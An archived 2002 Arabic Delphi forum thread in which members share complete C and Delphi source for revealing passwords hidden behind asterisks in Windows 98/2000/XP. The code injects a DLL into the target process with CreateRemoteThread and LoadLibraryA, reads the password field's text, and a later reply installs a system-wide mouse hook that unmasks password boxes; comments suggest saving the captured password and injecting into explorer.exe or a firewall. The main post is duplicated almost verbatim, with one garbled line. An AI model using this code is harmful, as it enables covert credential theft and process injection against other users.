الفريق العربي للبرمجةأرشيف المنتديات · 2000 – 2023
نسخة أرشيفية للقراءة فقط — التسجيل والمشاركة مغلقان، والمحتوى محفوظ كما كان.

Get the password ***** in win98,win2k,winxp

مغلق
بدأه tmaaa في 14 يناير 2002 · 3 رد · 2,312 مشاهدة · في أرشيف منتدى الدلفي
مشاركة: واتساب X فيسبوك تيليجرام
#1 صاحب الموضوع

السلام عليكم

باستخدام الكود الاتي يمكن الحصول على كلمة السر المختفية وراء **** في الانظمة win98,win2k,winxp.

فكرة الكود انه يستخدم تقنية dll injection حيث يقوم بحقن ملفdll في الـ process المستهدف مع اعطاء الامكانية بالتحكم بالـــ process بالقدر المتاح (PROCESS_ALL_ACCESS)

بالنسبة للطريقة المستخدمة لحقن الـ dll فليست هي اقوى الطرق لعمل ذلك فمن الصعوبة باستخدام هذه الطريقة التاكد من انه قد تم فعلا حقن الــــ dll بنجاح .هناك طريقة اقوى لحقن الــ dll لكن الكود بلغة الـ ++C باستخدام vc وان شاء الله اقوم بنشرها لاحقا .

لنبدأ :

//Thanks to my friends njhhack,shellapi,kcahcn

اولا : DLL Project Getpwd.dll

للاسف الكود مكتوب بلغة c ,الكود موجود بلغة delphi لكن هناك مشكلة وهي انه في لغة delphi لا ينفع -بل الاصح القول انني (كاتب الكود njhhack هو ايضا لم يجد حلا للمشكلة ) لم استطع - استخدام الدالة freelibrary ليقوم الـ dll بانهاء نفسه -بعبارة افضل unmapping library module-.

يرجى ممن يجد حلا لهذه المشكلة اخباري وله مني الدعاء و جزيل الشكر.

يمكن استخدام vc or c++builder or lcc-win للقيام بــ compile لهذا الــــ project.عني فقد استخدمت lcc-win حيث ان حجم ملف الــ dll المتكون اصغر مقارنة بغيرها ويمكن الحصول عليه من

http://www.cs.virginia.edu/~lcc-win32/

to download : ftp://ftp.cs.virginia.edu/pub/lcc-win32/lccwin32.exe

وهذا هو الكود :

//-------save it with name getpwd ---------------
#include 
BOOL WINAPI __declspec(dllexport)DllMain(HINSTANCE hinstDLL, DWORD fwdreason, LPVOID lpvReserved)
{
    POINT hPoint;
	HWND hParent;
	char str[256];
    switch (fwdreason)
    {
        case DLL_PROCESS_ATTACH : 
			GetCursorPos(&hPoint);
			hParent=WindowFromPoint(hPoint);
			GetWindowText(hParent,str,256);
			MessageBox(0,str,"",0);//you can send pwd to file or ...
			FreeLibrary(hinstDLL);//unmapping library module
            break;
        case DLL_PROCESS_DETACH : 
            break;
        case DLL_THREAD_ATTACH : 
            break;
        case DLL_THREAD_DETACH : 
            break;
    }
    return TRUE;
}

و ها هو الكود المقابل في لغة الدلفي :

library getpwd;
uses
  windows,SysUtils;
function GetModuleHandleFromInstance  :   THandle;
  var
    s  :   array[0..512] of char;
  begin
    { Find the DLL filename from the instance value. }
    GetModuleFileName(hInstance, s, sizeof(s)-1);
    { Find the handle from the filename. }
    Result  : = GetModuleHandle(s);
  end;
var
tid  :  dword;
hpoint  :  tpoint;
hparent  :  hwnd;
str  :  array[0..256] of char;
hlong : dword;
procedure getpassword;
begin
   	GetCursorPos(hPoint);
	hParent : =WindowFromPoint(hPoint);
        hLong : =GetWindowLong(hParent,GWL_STYLE);
        GetWindowText(hParent,str,256);
        if  ((hLong and ES_PASSWORD)=ES_PASSWORD) then
        messagebox(0,str,'Password  :  ',MB_OK);
//There is a problem here . Hope I can find the solve for it
       FreeLibrary(GetModuleHandleFromInstance);
end;
procedure DLLMain(AttachFlag :  DWORD);
begin
case AttachFlag of
    DLL_PROCESS_ATTACH :        CreateThread(nil,0,@getpassword,nil,0,tid);
  end;
end;
begin
  DLLProc  : = @DLLMain;
  dllmain(DLL_PROCESS_ATTACH);
end.

ثانيا : Main project

هنا ساذكر طريقتين احدهما باستخدام vcl,والاخرى باستخدام console project (حجم الــ exe المتكون يكون اصغر بكثير ), ولك الخيار في استخدام احدهما .

قبل ذلك فم بتكوين unit جديد ولتسمها injectdll أن شئت . باستخدام injectdll unit يمكنك حقن الــ dll الخاص بك في process اخرى

How about to try it with explorer.exe (your dll will not be closed unless you close explorer) ,firewall (inside the dll try to connect to the internet or send E-mail or … notice what the firewall will tell you ,..etc. :D cool !!

unit injectdll;
interface
   uses windows,messages,sysutils;
  var
  hInst,Handle : thandle;  
implementation
procedure injectmydll(hParent : hwnd); //hParent : the handle of the exe you want to inject dll into 
var
  hRemoteThread,hkernel32,dwRemoteProcessId,hRemoteProcess  :  integer;
  cb,pcb : dword;
  pfnStartAddr,pszLibFileName,pszLibFileRemote : pchar;
begin
  cb : =256;
  //الحصول على PID للبرنامج المستهدف
  //    Get processID of the target program
  GetWindowThreadProcessId(hParent,@dwRemoteProcessId);
  //الحصول على handle الـــ process المستهدف 
  //Get target process handle 
  hRemoteProcess : =OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwRemoteProcessId);
  //حساب الذاكرة المطلوبة لـــ DLL path name
  //calculate required memory for DLL pathname
  getmem(pszLibFileName,cb);
  strcopy(pszLibFileName,pchar(ExtractFilePath(ParamStr(0))+'getpwd.dll'));
  //Assign DLL file name buffer in the remote process memory address space
  //more abou tvirtualallocex go http: //msdn.microsoft.com/library/default.asp?url=/library/en-us/memory/memman_8ptk.asp
  pszLibFileRemote : =VirtualAllocEx(hRemoteProcess,NIL,cb,MEM_COMMIT,PAGE_READWRITE);
  // copy DLL path name to the remote process memory
  WriteProcessMemory(hRemoteProcess,pszLibFileRemote,pszLibFileName,cb,pcb);
  Freemem(pszLibFileName);
  //الحصول على عنوان الداالة    LoadLibraryA في  Kernel32.dll
  //Get the address of LoadLibraryA function in kernel32.dll
  hkernel32 : =GetModuleHandle('Kernel32.dll');
  pfnStartAddr : =GetProcAddress(hkernel32,'LoadLibraryA');
  //
  //run the remote process thead ,
  hRemoteThread : =CreateRemoteThread(hRemoteProcess,NIL,0,pfnStartAddr,pszLibFileRemote,0,pcb);
  //waiting for the end of the thread                             
  WaitForSingleObject(hRemoteThread,INFINITE);
  TerminateThread(hRemoteThread,0);
end;
end.

VCL Project :

//Add TTimer to a form .Its Interval 200 (well. write as you want but ...)
….
//Global varilble definiton
  hInst,Handle,hParent : THandle;
  hLong : longint;
  hPoint : TPOINT;
  implementation
  uses injectdll;
...
// in the event onTimer add this code
GetCursorPos(hPoint);GetCursorPos(hPoint);
hParent : =WindowFromPoint(hPoint);
hLong : =GetWindowLong(hParent,GWL_STYLE);
if (hLong and ES_PASSWORD)=ES_PASSWORD then 
injectmydll(hParent);

Console Project :

//الملف التنفيذي الناتج اصغر بكثير من ذلك الناتج باستخدام vcl

//لانشاءه File / New /other , then choose console project

//قم بحذف الجملة الخاصة بالـ console , هذه الجملة {$APPTYPE CONSOLE}

Program Pass2K;
uses
  windows,
  messages,
  sysutils,injectdll;
var
  wClass :    TWndClass;
  Msg :       TMSG;
  hInst,Handle,hParent : thandle;
  hLong : longint;
  hPoint : TPOINT;
function WindowProc(hWnd,Msg,wParam,lParam : integer) : Longint; stdcall;
begin
  Result : =DefWindowProc(hWnd,Msg,wParam,lParam);
  case Msg of
  WM_DESTROY : halt;
  WM_TIMER : 
  begin
    GetCursorPos(hPoint);
    hParent : =WindowFromPoint(hPoint);
    hLong : =GetWindowLong(hParent,GWL_STYLE);
    if (hLong and ES_PASSWORD)=ES_PASSWORD then
     injectmydll(hParent);
  end;
  end;
end;
//--
begin
  hInst : =GetModuleHandle(nil);
  with wClass do
  begin
    Style : =         CS_PARENTDC;
    hIcon : =         LoadIcon(hInst,'MAINICON');
    lpfnWndProc : =   @WindowProc;
    hInstance : =     hInst;
    hbrBackground : = COLOR_BTNFACE+1;
    lpszClassName : = 'MainHostClass';
    hCursor : =       LoadCursor(0,IDC_ARROW);
  end;
  RegisterClass(wClass);  handle : =CreateWindow(wClass.lpszClassName,'Get***password',WS_OVERLAPPEDWINDOW or WS_VISIBLE,80,10,220,85,0,0,hInst,nil);
  settimer(handle,0,200,NIL);
  while(GetMessage(Msg,Handle,0,0))do
  begin
    TranslateMessage(Msg);
    DispatchMessage(Msg);
  end;
end.

to download : ftp://ftp.cs.virginia.edu/pub/lcc-win32/lccwin32.exe

وهذا هو الكود :

//-------save it with name getpwd ---------------
#include 
BOOL WINAPI __declspec(dllexport)DllMain(HINSTANCE hinstDLL, DWORD fwdreason, LPVOID lpvReserved)
{
    POINT hPoint;
	HWND hParent;
	char str[256];
    switch (fwdreason)
    {
        case DLL_PROCESS_ATTACH : 
			GetCursorPos(&hPoint);
			hParent=WindowFromPoint(hPoint);
			GetWindowText(hParent,str,256);
			MessageBox(0,str,"",0);//you can send pwd to file or ...
			FreeLibrary(hinstDLL);//unmapping library module
            break;
        case DLL_PROCESS_DETACH : 
            break;
        case DLL_THREAD_ATTACH : 
            break;
        case DLL_THREAD_DETACH : 
            break;
    }
    return TRUE;
}

و ها هو الكود المقابل في لغة الدلفي :

library getpwd;
uses
  windows,SysUtils;
function GetModuleHandleFromInstance  :   THandle;
  var
    s  :   array[0..512] of char;
  begin
    { Find the DLL filename from the instance value. }
    GetModuleFileName(hInstance, s, sizeof(s)-1);
    { Find the handle from the filename. }
    Result  : = GetModuleHandle(s);
  end;
var
tid  :  dword;
hpoint  :  tpoint;
hparent  :  hwnd;
str  :  array[0..256] of char;
hlong : dword;
procedure getpassword;
begin
   	GetCursorPos(hPoint);
	hParent : =WindowFromPoint(hPoint);
        hLong : =GetWindowLong(hParent,GWL_STYLE);
        GetWindowText(hParent,str,256);
        if  ((hLong and ES_PASSWORD)=ES_PASSWORD) then
        messagebox(0,str,'Password  :  ',MB_OK);
//There is a problem here . Hope I can find the solve for it
       FreeLibrary(GetModuleHandleFromInstance);
end;
procedure DLLMain(AttachFlag :  DWORD);
begin
case AttachFlag of
    DLL_PROCESS_ATTACH :        CreateThread(nil,0,@getpassword,nil,0,tid);
  end;
end;
begin
  DLLProc  : = @DLLMain;
  dllmain(DLL_PROCESS_ATTACH);
end.

ثانيا : Main project

هنا ساذكر طريقتين احدهما باستخدام vcl,والاخرى باستخدام console project (حجم الــ exe المتكون يكون اصغر بكثير ), ولك الخيار في استخدام احدهما .

قبل ذلك فم بتكوين unit جديد ولتسمها injectdll . باستخدام injectdll unit يمكنك حقن الــ dll الخاص بك في process اخرى

How about to try it with explorer.exe (your dll will not be closed unless you close explorer) ,firewall (inside the dll try to connect to the internet or send E-mail or … notice what the firewall will tell you ,..etc. :D cool

unit injectdll;
interface
   uses windows,messages,sysutils;
  var
  hInst,Handle : thandle;  
implementation
procedure injectmydll(hParent : hwnd); //hParent : the handle of the exe you want to inject dll into 
var
  hRemoteThread,hkernel32,dwRemoteProcessId,hRemoteProcess  :  integer;
  cb,pcb : dword;
  pfnStartAddr,pszLibFileName,pszLibFileRemote : pchar;
begin
  cb : =256;
  //الحصول على PID للبرنامج المستهدف
  //    Get processID of the target program
  GetWindowThreadProcessId(hParent,@dwRemoteProcessId);
  //الحصول على handle الـــ process المستهدف 
  //Get target process handle 
  hRemoteProcess : =OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwRemoteProcessId);
  //حساب الذاكرة المطلوبة لـــ DLL path name
  //calculate required memory for DLL pathname
  getmem(pszLibFileName,cb);
  strcopy(pszLibFileName,pchar(ExtractFilePath(ParamStr(0))+'getpwd.dll'));
  //Assign DLL file name buffer in the remote process memory address space
  //more abou tvirtualallocex go http: //msdn.microsoft.com/library/default.asp?url=/library/en-us/memory/memman_8ptk.asp
  pszLibFileRemote : =VirtualAllocEx(hRemoteProcess,NIL,cb,MEM_COMMIT,PAGE_READWRITE);
  // copy DLL path name to the remote process memory
  WriteProcessMemory(hRemoteProcess,pszLibFileRemote,pszLibFileName,cb,pcb);
  Freemem(pszLibFileName);
  //الحصول على عنوان الداالة    LoadLibraryA في  Kernel32.dll
  //Get the address of LoadLibraryA function in kernel32.dll
  hkernel32 : =GetModuleHandle('Kernel32.dll');
  pfnStartAddr : =GetProcAddress(hkernel32,'LoadLibraryA');
  //
  //run the remote process thead ,
  hRemoteThread : =CreateRemoteThread(hRemoteProcess,NIL,0,pfnStartAddr,pszLibFileRemote,0,pcb);
  //waiting for the end of the thread                             
  WaitForSingleObject(hRemoteThread,INFINITE);
  TerminateThread(hRemoteThread,0);
end;
end.

VCL Project :

//Add TTimer to a form .Its Interval 200 (well. write as you want but ...)
….
//Global varilble definiton
  hInst,Handle,hParent : THandle;
  hLong : longint;
  hPoint : TPOINT;
  implementation
  uses injectdll;
...
// in the event onTimer add this code
GetCursorPos(hPoint);GetCursorPos(hPoint);
hParent : =WindowFromPoint(hPoint);
hLong : =GetWindowLong(hParent,GWL_STYLE);
if (hLong and ES_PASSWORD)=ES_PASSWORD then 
injectmydll(hParent);

Console Project :

//الملف التنفيذي الناتج اصغر بكثير من ذلك الناتج باستخدام vcl

//لانشاءه File / New /other , then choose console project

//قم بحذف الجملة الخاصة بالـ console , هذه الجملة {$APPTYPE CONSOLE}

Program Pass2K;
uses
  windows,
  messages,
  sysutils,injectdll;
var
  wClass :    TWndClass;
  Msg :       TMSG;
  hInst,Handle,hParent : thandle;
  hLong : longint;
  hPoint : TPOINT;
function WindowProc(hWnd,Msg,wParam,lParam : integer) : Longint; stdcall;
begin
  Result : =DefWindowProc(hWnd,Msg,wParam,lParam);
  case Msg of
  WM_DESTROY : halt;
  WM_TIMER : 
  begin
    GetCursorPos(hPoint);
    hParent : =WindowFromPoint(hPoint);
    hLong : =GetWindowLong(hParent,GWL_STYLE);
    if (hLong and ES_PASSWORD)=ES_PASSWORD then
     injectmydll(hParent);
  end;
  end;
end;
//--
begin
  hInst : =GetModuleHandle(nil);
  with wClass do
  begin
    Style : =         CS_PARENTDC;
    hIcon : =         LoadIcon(hInst,'MAINICON');
    lpfnWndProc : =   @WindowProc;
    hInstance : =     hInst;
    hbrBackground : = COLOR_BTNFACE+1;
    lpszClassName : = 'MainHostClass';
    hCursor : =       LoadCursor(0,IDC_ARROW);
  end;
  RegisterClass(wClass);  : =CreateWindow(wClass.lpszClassName,'Get***password',WS_OVERLAPPEDWINDOW or WS_VISIBLE,80,10,220,85,0,0,hInst,nil);
  settimer(handle,0,200,NIL);
  while(GetMessage(Msg,Handle,0,0))do
  begin
    TranslateMessage(Msg);
    DispatchMessage(Msg);
  end;
end.

هناك حتى الأحلام أصبحت ممنوعة ...

إنه لعار أن ننتمي لهكذا أوطان ... لكن ... ربما العار أن نكون نحن أبناء لتلكم أوطان .. من يدري ؟!!

ليعلم أولئك ... إنّ الشعوب إنْ هي استيقظت تسحق ظُلامََهَا ...

There, even in dreams u r wanted

To be a programmer, how a nice dream it was

Leaving ...

أعيدوا لإسمي لونه المفضل

#2

السلام عليكم

شكراً أخي tmaaa دائماً متميز

فعلاً موضوع dll injection موضوع مثير واشكرك على طرحه

لكن اذا كان المطلوب فقط هو الحصول على النص Password اعتقد انه من الأسهل استخدام طريقه مباشره ولاداعي لحقن dll

مثال : ضع Timer,Edit,Label

واكتب هذا الكود

procedure TForm1.Timer1Timer(Sender: TObject);
var
   h : THandle;
   p : TPoint;
   s : string;
   n : integer;
begin
     GetCursorPos(p);
     h := WindowFromPoint(p);
     if SendMessage(h,EM_GetPasswordChar,0,0)=42 then
          Label1.Caption := 'Password ***'
     else
          Label1.Caption := 'Normal Text';
     n := SendMessage(h, WM_GetTextLength, 0, 0)+1 ;
     SetLength(s,n);
     GetWindowText(h,PChar(s),n);
//	أو يمكن ارسال الرساله WM_GetText
//     SendMessage(h, WM_GetText, n,LongInt(@s[1]));
//	في الحقيقه لاأعلم مالفرق بينهما وايهما أفضل
     Edit1.Text := s;
end;
#3

السلام عليكم

مشكور اخي fsl على التفاعل مع الموضوع - الذي يبدو انه غير مثير :( , لكن ما في مشكلة اذا عملت تورجان يبدو انه سيثير الانتباه - امزح ;)

oh,oh,oh

اخي انا تعمدت كتابة win2k,winxp في عنوان الموضوع لان الكود الذي تفضلت -انت- بوضعه فقط ينفع مع win98 . جربه على win2k او winxp واخبرني ان كان يفي بالغرض ام لا . ذلك الكود هو المنتشر في الانترنت وهو مقصور على win9x.

الكود الذي نشرته على حسب علمي و بحثي في الانترنت لايوجد الا في بعض الصفحات الصينية . كاتب الكود - الى الان ما ازال مصدقا بانه هو من كتبه :) - قدم لي الكود شخصيا عن طريق احد برامج الــ chat .

اخي العزيز وبقية الاخوان من لديه اي معلومات عن dll injection - باي لغة برمجية كانت -ارجو نشرها هنا لتعم الفائدة .

الاخ هاني الاتاسي وعد بتقديم ما لديه من معلومات في هذا المجال ( صح ام لا اخ هاني ؟) .

بالمناسبة اود الاشارة الى برنامج يقوم باظهار جميع الـ process الشغالة بما في ذلك اظهار ملفات الـ dll او الــ exe المتعلقة بكل process

http://www.teamcti.com/pview/index.htm

ان كان هناك من يود المساعدة في عمل برنامج شبيه به اهلا وسهلا . انا كنت بدات في العمل ولكن كسلت :D (الكود مجمع من عدد من المقالات المنشورة في الانترنت ;) )

هناك حتى الأحلام أصبحت ممنوعة ...

إنه لعار أن ننتمي لهكذا أوطان ... لكن ... ربما العار أن نكون نحن أبناء لتلكم أوطان .. من يدري ؟!!

ليعلم أولئك ... إنّ الشعوب إنْ هي استيقظت تسحق ظُلامََهَا ...

There, even in dreams u r wanted

To be a programmer, how a nice dream it was

Leaving ...

أعيدوا لإسمي لونه المفضل

#4

السلام عليكم

هناك طريقة اخرى لعمل ذلك وهو عن طريق استخدام ألية الـ hook

( أيش الحكاية مع الـ hook ؟ طالع لي في كل مكان )

الطريقة كالاتي :

Thanks to KCAHCN for the code

سنستخدم الكود mouse hook المنشور في

http://arabteam.nicmatic.com/vb/showthread...p?threadid=5165

سنقوم بعمل تغيير بسيط في الكود المذكور

في الدالة MouseHookCallBack نقوم بالتغيير الاتي

function MouseHookCallBack;
var
  str:string;
//  hlong:dword; 
  hpoint:tpoint;
  hparent:hwnd;
  n:integer;
//ثم ياتي الكود الاصلي
{$IFDEF WIN32}
HookHandle: HHOOK;
.....
// هنا ايضا نقوم بتغيير آخر
 if  (Msg=WM_MOUSEMOVE) and(MouseHookStruct<>NIL) then
// هنا لا نحتاج لهذا السطر ونستبدله بالكود الاتي
{PostMessage(MonitorWnd,WM_TMAA_MOUSE,
MouseHookStruct^.pt.x , MouseHookStruct^.pt.y);}
begin
GetCursorPos(hPoint);
hParent:=WindowFromPoint(hPoint);
// يمكن استخدام هذا ايضا
{
hLong:=GetWindowLong(hParent,GWL_STYLE);
if  ((hLong and ES_PASSWORD)=ES_PASSWORD) then
}
if SendMessage(hParent,EM_GetPasswordChar,0,0)=42 then
begin
n := SendMessage(hParent, WM_GetTextLength, 0, 0)+1 ;
SetLength(str,n);
GetWindowText(hParent,pchar(str),n);
// هنا نقوم باظهار كلمة السر 
//remove the password flag
sendmessage(hParent,EM_SETPASSWORDCHAR,0,0);
//update window
InvalidateRect(hParent,0,false);
// messagebox(0,pchar(inttostr(MonitorWnd)),'Password:',MB_OK);
if you want or you can save it to file//
 end;

ذلك بالنسبة للـ DLL اما عن استخدامه كالاتي

سنستخدم Hookunit والكود نجده في الموضوع المذكور سابقا

http://arabteam.nicmatic.com/vb/showthread...p?threadid=5165

ننشئ project جديد و بعد عبارة implementation نضف uses hookunit;

في FormCreate event نضف الكود الاتي

if not InstallSystemHook(Handle) then
ShowMessage('Could not install mouse hook.Hook failed.');

في FormDestroy event نضف الكود الاتي

  if IsHookSet then  RemoveHook;

الطريقة السابقة هي أيضا احدى طرق حقن الـ dll في process وهي استخدام ألية الـ hook .

يمكن عمل الـ hook بطريقة اقصر من تلك المذكورة لكني افضل ذلك الكود لانه يناقش كل الاحتمالات الممكنة و هو في نظري افضل طريقة لعمل hook .

أرجو ان الكلام المذكور سابقا واضحا . ( عندي احساس انه ملخبط ) . ان كان هناك طريقة للحصول على الـ Password افضل من الطريقتين المذكورتين ارجو اعلامي :)

بالنسبة للحصول على الـ Password الموجودة داخل Enternet Explorer فقد وجدت الكود الخاص بذلك والكود بـ Visual c و ان شاء الله اقوم بوضعه ان كان هناك من يود ذلك .

بالنسبة لعملية حقن الـ dll ان كان من يود طرح مثل هذا الموضوع فان شاء الله انا مستعد لنشر ما اعرفه و ما تحصلت عليه اثناء البحث في الانترنت :) .

هناك حتى الأحلام أصبحت ممنوعة ...

إنه لعار أن ننتمي لهكذا أوطان ... لكن ... ربما العار أن نكون نحن أبناء لتلكم أوطان .. من يدري ؟!!

ليعلم أولئك ... إنّ الشعوب إنْ هي استيقظت تسحق ظُلامََهَا ...

There, even in dreams u r wanted

To be a programmer, how a nice dream it was

Leaving ...

أعيدوا لإسمي لونه المفضل

هذا الموضوع مغلق.

مواضيع مشابهة